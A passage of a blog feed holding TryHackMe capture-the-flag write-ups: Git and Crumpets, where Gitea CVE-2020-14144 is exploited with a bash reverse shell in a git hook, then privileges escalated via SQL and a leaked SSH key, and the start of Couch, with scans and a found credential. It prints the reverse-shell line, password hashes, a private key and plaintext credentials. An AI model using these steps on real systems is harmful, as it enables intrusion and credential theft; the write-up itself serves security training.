<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@ip-10-10-1-97:~# curl 10.10.87.115
&lt;<span class="o">!</span>DOCTYPE html&gt;
&lt;html <span class="nv">lang</span><span class="o">=</span><span class="s2">"en"</span><span class="o">&gt;</span>
  &lt;<span class="nb">head</span><span class="o">&gt;</span>
    &lt;meta <span class="nv">charset</span><span class="o">=</span><span class="s2">"UTF-8"</span> /&gt;
    &lt;meta http-equiv<span class="o">=</span><span class="s2">"X-UA-Compatible"</span> <span class="nv">content</span><span class="o">=</span><span class="s2">"IE=edge"</span> /&gt;
    &lt;meta <span class="nv">name</span><span class="o">=</span><span class="s2">"viewport"</span> <span class="nv">content</span><span class="o">=</span><span class="s2">"width=device-width, initial-scale=1.0"</span> /&gt;
    &lt;title&gt;Go away!&lt;/title&gt;
  &lt;/head&gt;
  &lt;body&gt;
    &lt;main&gt;
      &lt;h1&gt;Nothing to see here, move along&lt;/h1&gt;
      &lt;h2&gt;Notice:&lt;/h2&gt;
      &lt;p&gt; 
        Hey guys,
           I <span class="nb">set </span>up the dev repos at git.git-and-crumpets.thm, but I haven<span class="s1">'t gotten around to setting up the DNS yet. 
           In the meantime, here'</span>s a fun video I found!
        Hydra
      &lt;/p&gt;
      &lt;pre&gt;
</code></pre></div></div>

<p>Setup your target url to <code class="language-plaintext highlighter-rouge">/etc/hosts</code> like:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>10.10.87.115 git.git-and-crumpets.thm
</code></pre></div></div>

<p>Now naviagte to the URL http://git.git-and-crumpets.thm/ and register to the site there is a a repo called <code class="language-plaintext highlighter-rouge">cant-touch-this</code>, I saw there is <a href="http://git.git-and-crumpets.thm/scones/cant-touch-this/commits/branch/master">5 commit</a> has been created in master repo.</p>

<p>There is a commit name <a href="http://git.git-and-crumpets.thm/scones/cant-touch-this/commit/9a151a065797e3ae8e4d86da9d32d032cdec6885"></a> it have comment said that <code class="language-plaintext highlighter-rouge">I kept the password in my avatar to be more secure.</code></p>

<p>Download his image from the <a href="http://git.git-and-crumpets.thm/scones">repo</a></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@ip-10-10-1-97:~# wget http://git.git-and-crumpets.thm/avatars/3fc2cde6ac97e8c8a0c8b202e527d56d
<span class="nt">--2021-07-03</span> 06:58:17--  http://git.git-and-crumpets.thm/avatars/3fc2cde6ac97e8c8a0c8b202e527d56d
Resolving git.git-and-crumpets.thm <span class="o">(</span>git.git-and-crumpets.thm<span class="o">)</span>... 10.10.87.115
Connecting to git.git-and-crumpets.thm <span class="o">(</span>git.git-and-crumpets.thm<span class="o">)</span>|10.10.87.115|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified <span class="o">[</span>image/png]
Saving to: <span class="se">\u</span>20183fc2cde6ac97e8c8a0c8b202e527d56d<span class="se">\u</span>2019

3fc2cde6ac97e8c8a0c8b202e527d56d            <span class="o">[</span> &lt;<span class="o">=&gt;</span>                                                                          <span class="o">]</span> 278.88K  <span class="nt">--</span>.-KB/s    <span class="k">in </span>0.002s  

2021-07-03 06:58:17 <span class="o">(</span>158 MB/s<span class="o">)</span> - <span class="se">\u</span>20183fc2cde6ac97e8c8a0c8b202e527d56d<span class="se">\u</span>2019 saved <span class="o">[</span>285570]

root@ip-10-10-1-97:~# exiftool 3fc2cde6ac97e8c8a0c8b202e527d56d
ExifTool Version Number         : 10.80
File Name                       : 3fc2cde6ac97e8c8a0c8b202e527d56d
Directory                       : <span class="nb">.</span>
File Size                       : 279 kB
File Modification Date/Time     : 2021:04:15 17:13:00+01:00
File Access Date/Time           : 2021:07:03 06:58:17+01:00
File Inode Change Date/Time     : 2021:07:03 06:58:17+01:00
File Permissions                : rw-r--r--
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 290
Image Height                    : 290
Bit Depth                       : 16
Color Type                      : RGB
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Description                     : My <span class="s1">'P****d'</span> should be easy enough to guess
Image Size                      : 290x290
Megapixels                      : 0.084
</code></pre></div></div>

<p>And I got a email from his profile <code class="language-plaintext highlighter-rouge">withcream@example.com</code> lets try to login with</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>withcream@example.com:Password
</code></pre></div></div>

<p>Logged in after logged in what should I do, I don’t know so I start finding if any authnicated user do something after finding I saw that there is a CVE for GiTea and the blog about <a href="https://podalirius.net/en/articles/exploiting-cve-2020-14144-gitea-authenticated-remote-code-execution/">Exploiting CVE-2020-14144 - GiTea Authenticated Remote Code Execution using git hooks</a> and the <code class="language-plaintext highlighter-rouge">CVE-2020-14144</code></p>

<p>Now run netcat to listen to a port for reverse shell, Edit the <a href="http://git.git-and-crumpets.thm/scones/cant-touch-this/settings/hooks/git/pre-receive">pre-receive hook</a> and paste your reverse shell to get access</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/bash</span>
bash <span class="nt">-i</span> <span class="o">&gt;</span>&amp; /dev/tcp/10.10.1.97/1234 0&gt;&amp;1
</code></pre></div></div>

<p>Now edit <a href="http://git.git-and-crumpets.thm/scones/cant-touch-this/_edit/master/README.md">README.md</a> so the pre-receive hook will execute.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@ip-10-10-1-97:~# nc <span class="nt">-nlvp</span> 1234
Listening on <span class="o">[</span>0.0.0.0] <span class="o">(</span>family 0, port 1234<span class="o">)</span>
Connection from 10.10.87.115 46630 received!
bash: cannot <span class="nb">set </span>terminal process group <span class="o">(</span>881<span class="o">)</span>: Inappropriate ioctl <span class="k">for </span>device
bash: no job control <span class="k">in </span>this shell
<span class="o">[</span>git@git-and-crumpets cant-touch-this.git]<span class="nv">$ </span><span class="nb">ls
ls
</span>HEAD
branches
config
description
hooks
info
objects
refs
<span class="o">[</span>git@git-and-crumpets cant-touch-this.git]<span class="nv">$ </span><span class="nb">cd</span> ~
<span class="nb">cd</span> ~
<span class="o">[</span>git@git-and-crumpets ~]<span class="nv">$ </span><span class="nb">ls
ls
</span>user.txt
<span class="o">[</span>git@git-and-crumpets ~]<span class="nv">$ </span><span class="nb">cat </span>user.txt
<span class="nb">cat </span>user.txt
dGhte2ZkN2Fi<span class="k">********</span><span class="nv">TdjZDcwY2YzZDZhYTE2fQ</span><span class="o">==</span>
</code></pre></div></div>

<p>Decode the <code class="language-plaintext highlighter-rouge">base64</code> encoding</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">echo </span>dGhte2ZkN2Fi<span class="k">********</span><span class="nv">TdjZDcwY2YzZDZhYTE2fQ</span><span class="o">==</span> | <span class="nb">base64</span> <span class="nt">-d</span>

thm<span class="o">{</span>fd7ab9ffd40<span class="k">*******</span>257cd70cf3d6aa16<span class="o">}</span>
</code></pre></div></div>

<p>I saw that GiTea save their data into <code class="language-plaintext highlighter-rouge">/var/lib/gitea/</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Gitea repository data will be saved into /var/lib/gitea/repos/ . It is possible to overrule this location in /etc/gitea/app
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">[</span>git@git-and-crumpets data]<span class="nv">$ </span><span class="nb">ls
ls
</span>attachments
avatars
gitea-repositories
gitea.db
indexers
lfs
queues
repo-avatars
sessions
tmp
<span class="o">[</span>git@git-and-crumpets data]<span class="nv">$ </span>which sqlite3
which sqlite3
/usr/bin/sqlite3
</code></pre></div></div>

<p>open <code class="language-plaintext highlighter-rouge">gitea.db</code></p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">[</span><span class="n">git</span><span class="o">@</span><span class="n">git</span><span class="o">-</span><span class="k">and</span><span class="o">-</span><span class="n">crumpets</span> <span class="k">data</span><span class="p">]</span><span class="err">$</span> <span class="n">sqlite3</span> <span class="n">gitea</span><span class="p">.</span><span class="n">db</span>
<span class="n">sqlite3</span> <span class="n">gitea</span><span class="p">.</span><span class="n">db</span>
<span class="k">select</span> <span class="o">*</span> <span class="k">from</span> <span class="k">user</span><span class="p">;</span>
<span class="mi">1</span><span class="o">|</span><span class="n">hydra</span><span class="o">|</span><span class="n">hydra</span><span class="o">||</span><span class="n">hydragyrum</span><span class="o">@</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="o">|</span><span class="mi">0</span><span class="o">|</span><span class="n">enabled</span><span class="o">|</span><span class="mi">9</span><span class="n">b020d3e158bc31b5fe64d668d94cab38cadc6721a5fdf7a4b1fb7bf97021c5e68f56bd9bd44d5ce9547e5e234086342c4e4</span><span class="o">|</span><span class="n">pbkdf2</span><span class="o">|</span><span class="mi">0</span><span class="o">|</span><span class="mi">0</span><span class="o">|</span><span class="mi">0</span><span class="o">||</span><span class="mi">0</span><span class="o">|||</span><span class="n">XGySX7uBlc</span><span class="o">|</span><span class="mi">3</span><span class="n">C4NzJWN9e</span><span class="o">|</span><span class="n">en</span><span class="o">-</span><span class="n">US</span><span class="o">||</span><span class="mi">1618386984</span><span class="o">|</span><span class="mi">1621615239</span><span class="o">|</span><span class="mi">1621614217</span><span class="o">|</span><span class="mi">0</span><span class="o">|-</span><span class="mi">1</span><span class="o">|</span><span class="mi">1</span><span class="o">|</span><span class="mi">1</span><span class="o">|</span><span class="mi">0</span><span class="o">|</span><span class="mi">0</span><span class="o">|</span><span class="mi">0</span><span class="o">|</span><span class="mi">0</span><span class="o">|</span><span class="mi">0</span><span class="o">|</span><span class="n">d91f03c868d38ecf84ab3cc54f876106</span><span class="o">|</span><span class="n">hydragyrum</span><span class="o">@</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="o">|</span><span class="mi">1</span><span class="o">|</span><span class="mi">0</span><span class="o">|</span><span class="mi">0</span><span class="o">|</span><span class="mi">0</span><span class="o">|</span><span class="mi">1</span><span class="o">|</span><span class="mi">0</span><span class="o">|</span><span class="mi">0</span><span class="o">|</span><span class="mi">0</span><span class="o">|</span><span class="mi">0</span><span class="o">|</span><span class="n">unified</span><span class="o">|</span><span class="n">arc</span><span class="o">-</span><span class="n">green</span><span class="o">|</span><span class="mi">0</span>
<span class="mi">2</span><span class="o">|</span><span class="n">root</span><span class="o">|</span><span class="n">root</span><span class="o">|</span><span class="n">groot</span><span class="o">|</span><span class="n">root</span><span class="o">@</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="o">|</span><span class="mi">0</span><span class="o">|</span><span class="n">enabled</span><span class="o">|</span><span class="mi">2181</span><span class="n">d2b5fbf1859db426bcb94d97851d9a0e87a5eb47c5edc7f92bffc45b679e554c8367084f379e59936b68c0d770823ec9</span><span class="o">|</span><span class="n">pbkdf2</span><span class="o">|</span><span class="mi">0</span><span class="o">|</span><span class="mi">0</span><span class="o">|</span><span class="mi">0</span><span class="o">||</span><span class="mi">0</span><span class="o">|||</span><span class="mi">2</span><span class="n">VK8fSxvIZ</span><span class="o">|</span><span class="mi">5</span><span class="n">e5xPrzvBr</span><span class="o">|</span><span class="n">en</span><span class="o">-</span><span class="n">US</span><span class="o">||</span><span class="mi">1618391049</span><span class="o">|</span><span class="mi">1621716065</span><span class="o">|</span><span class="mi">1621716065</span><span class="o">|</span><span class="mi">1</span><span class="o">|-</span><span class="mi">1</span><span class="o">|</span><span class="mi">1</span><span class="o">|</span><span class="mi">0</span><span class="o">|</span><span class="mi">1</span><span class="o">|</span><span class="mi">0</span><span class="o">|</span><span class="mi">0</span><span class="o">|</span><span class="mi">0</span><span class="o">|</span><span class="mi">0</span><span class="o">|</span><span class="n">b2b218891f86ea980812a5b934ecec1a</span><span class="o">|</span><span class="n">root</span><span class="o">@</span><span class="n">examle</span><span class="p">.</span><span class="n">com</span><span class="o">|</span><span class="mi">1</span><span class="o">|</span><span class="mi">0</span><span class="o">|</span><span class="mi">0</span><span class="o">|</span><span class="mi">0</span><span class="o">|</span><span class="mi">1</span><span class="o">|</span><span class="mi">0</span><span class="o">|</span><span class="mi">0</span><span class="o">|</span><span class="mi">0</span><span class="o">|</span><span class="mi">0</span><span class="o">|</span><span class="n">unified</span><span class="o">|</span><span class="n">gitea</span><span class="o">|</span><span class="mi">0</span>
<span class="mi">3</span><span class="o">|</span><span class="n">scones</span><span class="o">|</span><span class="n">scones</span><span class="o">||</span><span class="n">withcream</span><span class="o">@</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="o">|</span><span class="mi">0</span><span class="o">|</span><span class="n">enabled</span><span class="o">|</span><span class="mi">8</span><span class="n">d0386b217e0f1ad5a1012d879ce93c9d77fd79d888410fdee9e76ec58d6fa017042906dd9a2ea498d3fd5a7486a73875660</span><span class="o">|</span><span class="n">pbkdf2</span><span class="o">|</span><span class="mi">0</span><span class="o">|</span><span class="mi">0</span><span class="o">|</span><span class="mi">0</span><span class="o">||</span><span class="mi">0</span><span class="o">|</span><span class="n">Her</span> <span class="n">Majesty</span><span class="s1">'s Secret Service||IF60pw0rVc|13y4Vtc2AH|en-US|I like scones.|1618492621|1625292211|1625292211|0|-1|1|0|0|1|0|0|0|3fc2cde6ac97e8c8a0c8b202e527d56d|jackel@example.com|1|0|0|0|1|0|0|0|0|unified|gitea|0
4|test|test||test@test.thm|0|enabled|d3463d9c205751364af7850bca7956d0f5cc0eb125a097db54fd0087eec31cec1912245e57fdfc53423a89e6684a15f8939a|pbkdf2|0|0|0||0|||oe4oKzc3mk|EgtShiimON|en-US||1618526457|1618526530|1618526457|0|-1|1|0|0|0|0|0|0|15c9bc2cfbc7b7fd0b627422d8189173|test@test.thm|0|0|0|0|0|0|0|0|0|unified|gitea|0
5|user101|user101||test@mail.com|0|enabled|7233dc67184372521c3e39c824016db859d608025ad5a731f1dbed0d399753c17de21921618a385804ddc6bc57893049d555|pbkdf2|0|0|0||0|||BFMsu8xkcI|mameP7va9K|en-US||1625291416|1625291644|1625291416|0|-1|1|0|0|0|0|0|0|97dfebf4098c0f5c16bca61e2b76c373|test@mail.com|0|0|0|0|0|0|0|0|0|unified|gitea|0
</span></code></pre></div></div>

<p>As we have email and password of user <code class="language-plaintext highlighter-rouge">scones</code> lets change the permission to <code class="language-plaintext highlighter-rouge">admin</code> of the user.</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">UPDATE</span> <span class="k">user</span> <span class="k">SET</span> <span class="n">is_admin</span><span class="o">=</span><span class="mi">1</span> <span class="k">WHERE</span> <span class="n">id</span><span class="o">=</span><span class="mi">3</span><span class="p">;</span>
</code></pre></div></div>

<p>As we changed the permission to the user now we can access user <code class="language-plaintext highlighter-rouge">root</code> repo which include a repo called <a href="http://git.git-and-crumpets.thm/root/backup">backup</a></p>

<p>There is two new branch one is <code class="language-plaintext highlighter-rouge">master</code> and second one is <code class="language-plaintext highlighter-rouge">dotfiles</code> in the <code class="language-plaintext highlighter-rouge">dotfiles</code> branch I found <a href="http://git.git-and-crumpets.thm/root/backup/commits/branch/dotfiles">4 commmit</a> in there.</p>

<p>A commit is <code class="language-plaintext highlighter-rouge">Add '.ssh/Sup3rS3cur3'</code> the user stored a <code class="language-plaintext highlighter-rouge">SSH</code> private key at <a href="http://git.git-and-crumpets.thm/root/backup/src/commit/0b23539d97978fc83b763ef8a4b3882d16e71d32/.ssh/Sup3rS3cur3">Sup3rS3cur3</a></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">-----BEGIN</span> OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABCiDnis8h
K3kgcH6yJEnGngAAAAEAAAAAEAAAGXAAAAB3NzaC1yc2EAAAADAQABAAABgQCwF1w1EjRq
V3FQnYGyl4YNT1nV9UiqaaZQ2gPhXS1UaLpZdQh95hh1mfdAs8K/S6M8CnDNARInNNshHh
8uOxielRURN4oufmFQgv121ls0ikDHchTsmsYrVY7TOvTYXods5s6Oog0UYIPcCXj88wUp
kfRKXyfAMe3rWndrkJHx87ddkioeGVsi2ewGOEjHylGf0AhofPEij66jmUp0FN78DwsUYa
oIZThhZ+AbsajClZn+TRFv7Amb0+4LD5KGfeuu2RSFTVinE2YJAR5DPwrOy6jDkT4x/H7Q
UMX3CjWzFwA0wfBvgnQszE/K7T5W1EwLq1lbohWHBDKucjExdHuvWg28m0iBZytNqnM+J3
WclB/l9TTGOvy6coA/szhDPrOiZfzd5bsEfE0LVpbKeh6Mk1d+bwNY2CXH5Uz1gRGS8eW+
StKgaSUGRGaaay04QwrqNpztHNZ5ko+pUwHVL+sWAQp5HOTNbBqknK/Nb3A2koMTF9MlVg
8U3hR8gfqXYr0AAAWQ5lKoq0F7ffH+XaIEng7tJ4gHs3NVKxSTtvKmL42x/g291VXsUP56
fx9Z43GF7Bu6x1nugmiKsDszQgJKGpiAontQVRJux6UMIuoD05WXnYluKZiJMrGNBoN1SM
JM9x6pUatqA7kyqLGwbLjvsWOWMacyg5NsRrJiUfMET0qVZqkaaQIb13lB9tIrkh9hnLyS
v/I+qw/WKlyibOy7wsD5BpNTiWRd2aDwLimo1vgRcXRtsfWjjvlNbUfP16rwu1TnaR9YKn
uz3pTftLL5je1v6/1lRdWKk2r3NtarQnYm5rwh80vyiyNvfmS9kDKRyeFr1GwM0ZGy7f5V
HLoZoEfrlw+IgeREOYk1Ae5xieeaalxjHXJuYYatN0511Ir/N9EGKL5cqmZWkiSj9QEb4J
gGdbrWcE0RP+3yRQnHP6PO2jAlZID2yry6YA8JhJbRQtCizXqgQyR6Z4o4tEoBU4vYvqGb
<span class="o">[</span>....]
9ayg/QUYDXsD3a3saS7470/KjiFshUU5DG/V06sdtACj4ZSvS8ekTeT5zUERHcTZfnnoIh
AhlPmYdE2BELXgEPHU8rHBiSQ4q5wKOjLdN08sCh9mcpvutEzXetljI1qO5ENdFDYnzsRL
LSgcsos750omKmsro5dQd5UvZEOIwYwlCMa1xFBcDVWX4mAgf5cpjL4KkbkcgOxingB3/q
5RtD3YSO60ErtqU4roTWFFwOio/7tx1Lcea4qE5+ZQfmJiDyTVEabK30GP8mT9A0RVkEUe
iif2kJVBGvqf6yu5UNf/UAZVOhCy8DO69YrLFZrl+rVIkbcIWc91+VWxjZ/3r0ef9g+tL7
b3bRur89oSUWuWxZDMNyKjZwRNZsg61hreOmMdU9oq61RU6FjPyrheo0JI4mnHC/Ry9SSX
cW4HEkmMStLxfj/tVwCPymajShhjyHR4aYD945aGvzQxmBjAnNg1bzy2v+6UY5bGMcAXwW
i6ZbKJKr0vUG66V9tWOsNBz1Rc1vVnoCrgEvA+ErmHcPqqZdTkA3PPIPyyUCa/Oq8fME6e
cOdslp2TwdfI0vqjoWf+skUKVvnMSpmUmwRWfZfZGTitAcH57DLGB1E7Pagi5RT2XjuMSO
usgEUaovuH8uRBq7TC4GQsMEwTyNKlUzrzHNM3JbNGqECIJawNghCWFRCFY5Bq2lPqvnvN
Jtp737wXXQw2NqktrRIDkrPwpeF1Tdt4ixx8UNEpdAPsKu4pKdeU6VR/cqfYXOnoFWskPt
Fqfv1mMiIbHA8TYl+cWBVMkm6t4N+4N0T08pLnS8eDWgg6xCxkM2Kr37OsGPv1X7NR4QU8
3PGoejtziLj9kYYuJedlEY4xJVJ69o7bq+C320DoQN9+WYSCJkySJEsbxDwx04GhI54Xig
8FR4oALQzYnf7oVRbYDZoQihFNYKEf5U5UpPs0gfry8DWAIrOGsDBVLBdRlS7H1i578Nbm
HmIcosvtoCpSBl6HOX0S7gNAIiGLOP0zo3R8pdFkriFDauFa17Lao3IKKuBD6jOCFGBuD+
f+V62ikG7042lp/fhTYiDgRfvXA<span class="o">=</span>
<span class="nt">-----END</span> OPENSSH PRIVATE KEY-----
</code></pre></div></div>

<p>Now copy the private key and use it but it have password when the password prompt popuped I use <code class="language-plaintext highlighter-rouge">Su****ur3</code> to connect to <code class="language-plaintext highlighter-rouge">SSH</code></p>

<p>Make sure to change the permission of the <code class="language-plaintext highlighter-rouge">id_rsa</code> key.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@ip-10-10-1-97:~# nano id_rsa
root@ip-10-10-1-97:~# <span class="nb">chmod </span>600 id_rsa
root@ip-10-10-1-97:~# ssh <span class="nt">-i</span> id_rsa root@git.git-and-crumpets.thm
The authenticity of host <span class="s1">'git.git-and-crumpets.thm (10.10.87.115)'</span> can<span class="s1">'t be established.
ECDSA key fingerprint is SHA256:Tm4zUvVK5KsvOsFB2xvRHK4yg58piyOwURqB1Zr2tXI.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '</span>git.git-and-crumpets.thm,10.10.87.115<span class="s1">' (ECDSA) to the list of known hosts.
Enter passphrase for key '</span>id_rsa<span class="s1">':
Last login: Fri Jul  2 23:11:30 2021
[root@git-and-crumpets ~]# whoami
root
[root@git-and-crumpets ~]# cat /root/root.txt
dGhtezYzMjAyMjhkZDllMzE1ZjI4M2I3NTg4NzI0MGRjNmExfQ==
[root@git-and-crumpets ~]# echo dGhtezYzMjAyMjhkZ*****ZjI4M2I3NTg4NzI0MGRjNmExfQ== | base64 -d
thm{6320228dd9e315*****75887240dc6a1}
</span></code></pre></div></div>

<p>So we got the root too.</p>

<p>Room link: <a href="https://tryhackme.com/room/gitandcrumpets">Git and Crumpets</a></p>]]></content><author><name>Rudra Sarkar</name></author><category term="tryhackme" /><summary type="html"><![CDATA[Git and Crumpets Our devs have been clamoring for some centralized version control, so the admin came through. Rumour has it that they included a few countermeasures…]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://rudra0x01.xyz/assets/img/og-default.png" /><media:content medium="image" url="https://rudra0x01.xyz/assets/img/og-default.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">TryHackMe - Couch - Writeup</title><link href="https://rudra0x01.xyz/tryhackme-Couch/" rel="alternate" type="text/html" title="TryHackMe - Couch - Writeup" /><published>2021-07-02T22:52:00+06:00</published><updated>2021-07-02T22:52:00+06:00</updated><id>https://rudra0x01.xyz/tryhackme-Couch</id><content type="html" xml:base="https://rudra0x01.xyz/tryhackme-Couch/"><![CDATA[<p>Couch</p>

<p>Hack into a vulnerable database server that collects and stores data in JSON-based document formats, in this semi-guided challenge.</p>

<h2 id="nmap-scanning">Nmap Scanning</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@ip-10-10-125-194:~# rustscan <span class="nt">-a</span> 10.10.26.209 <span class="nt">--range</span> 1-10000
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| <span class="o">{}</span>  <span class="o">}</span>| <span class="o">{</span> <span class="o">}</span> |<span class="o">{</span> <span class="o">{</span>__ <span class="o">{</span>_   _<span class="o">}{</span> <span class="o">{</span>__  /  ___<span class="o">}</span> / <span class="o">{}</span> <span class="se">\ </span>|  <span class="sb">`</span>| |
| .-. <span class="se">\|</span> <span class="o">{</span>_<span class="o">}</span> |.-._<span class="o">}</span> <span class="o">}</span> | |  .-._<span class="o">}</span> <span class="o">}</span><span class="se">\ </span>    <span class="o">}</span>/  /<span class="se">\ </span> <span class="se">\|</span> |<span class="se">\ </span> |
<span class="sb">`</span>-<span class="s1">' `-'</span><span class="sb">`</span><span class="nt">-----</span><span class="s1">'`----'</span>  <span class="sb">`</span>-<span class="s1">'  `----'</span>  <span class="sb">`</span><span class="nt">---</span><span class="s1">' `-'</span>  <span class="sb">`</span>-<span class="s1">'`-'</span> <span class="sb">`</span>-<span class="s1">'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
\U0001f30dHACK THE PLANET\U0001f30d

[~] The config file is expected to be at "/home/rustscan/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '</span><span class="nt">-b</span> 1048476<span class="s1">'.
Open 10.10.26.209:22
Open 10.10.26.209:5984
[~] Starting Script(s)
[&gt;] Script to be run Some("nmap -vvv -p  ")

[~] Starting Nmap 7.80 ( https://nmap.org ) at 2021-06-30 19:22 UTC
Initiating Ping Scan at 19:22
Scanning 10.10.26.209 [2 ports]
Completed Ping Scan at 19:22, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 19:22
Completed Parallel DNS resolution of 1 host. at 19:22, 0.00s elapsed
DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 1, OK: 1, NX: 0, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 19:22
Scanning ip-10-10-26-209.eu-west-1.compute.internal (10.10.26.209) [2 ports]
Discovered open port 22/tcp on 10.10.26.209
Discovered open port 5984/tcp on 10.10.26.209
Completed Connect Scan at 19:22, 0.00s elapsed (2 total ports)
Nmap scan report for ip-10-10-26-209.eu-west-1.compute.internal (10.10.26.209)
Host is up, received conn-refused (0.00055s latency).
Scanned at 2021-06-30 19:22:25 UTC for 0s

PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack
5984/tcp open  couchdb syn-ack

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.20 seconds
</span></code></pre></div></div>

<h2 id="nmap-scanning-2">Nmap scanning 2</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@ip-10-10-125-194:~# nmap <span class="nt">-sCV</span> <span class="nt">-A</span> <span class="nt">-p5984</span> 10.10.26.209 <span class="nt">-T3</span>

Starting Nmap 7.60 <span class="o">(</span> https://nmap.org <span class="o">)</span> at 2021-06-30 20:23 BST
Nmap scan report <span class="k">for </span>ip-10-10-26-209.eu-west-1.compute.internal <span class="o">(</span>10.10.26.209<span class="o">)</span>
Host is up <span class="o">(</span>0.00042s latency<span class="o">)</span><span class="nb">.</span>

PORT     STATE SERVICE VERSION
5984/tcp open  http    CouchDB httpd 1.6.1 <span class="o">(</span>Erlang OTP/18<span class="o">)</span>
|_http-server-header: CouchDB/1.6.1 <span class="o">(</span>Erlang OTP/18<span class="o">)</span>
|_http-title: Site doesn<span class="s1">'t have a title (text/plain; charset=utf-8).
MAC Address: 02:CE:03:61:C9:1D (Unknown)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: WAP|general purpose|phone|webcam
Running (JUST GUESSING): Asus embedded (94%), Linux 3.X|4.X|2.6.X (94%), Google Android 5.X|6.X|7.X (92%)
OS CPE: cpe:/h:asus:rt-n56u cpe:/o:linux:linux_kernel:3.4 cpe:/o:linux:linux_kernel:3.16 cpe:/o:google:android:5.1 cpe:/o:google:android:6 cpe:/o:linux:linux_kernel:3.18 cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:2.6.17
Aggressive OS guesses: ASUS RT-N56U WAP (Linux 3.4) (94%), Linux 3.16 (94%), Linux 3.1 (93%), Linux 3.2 (93%), Android 5.1 (92%), Android 6.0-7.1.2 (Linux 3.18-4.4.1) (92%), Linux 3.13 (92%), Linux 3.2 - 3.10 (92%), Linux 3.2 - 3.16 (92%), Linux 3.2 - 3.5 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.42 ms ip-10-10-26-209.eu-west-1.compute.internal (10.10.26.209)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.08 seconds
</span></code></pre></div></div>
<p>[ Note: I am new at rustscan, I will learn more about it. ]</p>

<h2 id="task-1--resy-set-go">Task 1  Resy Set Go</h2>

<p>Question: Scan the machine, how many ports are open?</p>

<p>Answer: <code class="language-plaintext highlighter-rouge">2</code></p>

<p>Question: What’s is the database management system installed on the server?</p>

<p>Answer: <code class="language-plaintext highlighter-rouge">couchdb</code></p>

<p>Question: What port is the database management system running on?</p>

<p>Answer: <code class="language-plaintext highlighter-rouge">5984</code></p>

<p>Question: What’s is the version of management system installed on the server?</p>

<p>Answer: <code class="language-plaintext highlighter-rouge">1.6.1</code></p>

<p>Question: What is path for the web administration tool for this database management system?</p>

<p>Answer: <code class="language-plaintext highlighter-rouge">_utils</code> <a href="https://stackoverflow.com/q/58846768/6927300">Stackoverflow Answer</a></p>

<p>Question: What is path for list all databases in the web browser of the database management system?</p>

<p>Answer: <code class="language-plaintext highlighter-rouge">_all_dbs</code> <a href="https://www.tutorialkart.com/couchdb-tutorial/couchdb-get-database-list/">tutorialkart: Get Database List using REST API</a></p>

<p>Question: What is the credentials founed in the web administration tool?</p>

<p>Answer: <code class="language-plaintext highlighter-rouge">atena:t4qfzcc4qN##</code> <a href="http://10.10.26.209:5984/_utils/document.html?secret/a1320dd69fb4570d0a3d26df4e000be7">Secret Database</a></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@ip-10-10-125-194:~# ssh atena@10.10.26.209
The authenticity of host <span class="s1">'10.10.26.209 (10.10.26.209)'</span> can<span class="s1">'t be established.
ECDSA key fingerprint is SHA256:TtfUUNS6Ivob4iQ7X414863lCCc1q2YyzzycIkRTZ3k.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '</span>10.10.26.209<span class="s1">' (ECDSA) to the list of known hosts.
atena@10.10.26.209'</span>s password: 
Welcome to Ubuntu 16.04.7 LTS <span class="o">(</span>GNU/Linux 4.4.0-193-generic x86_64<span class="o">)</span>

 <span class="k">*</span> Documentation:  https://help.ubuntu.com
 <span class="k">*</span> Management:     https://landscape.canonical.com
 <span class="k">*</span> Support:        https://ubuntu.com/advantage
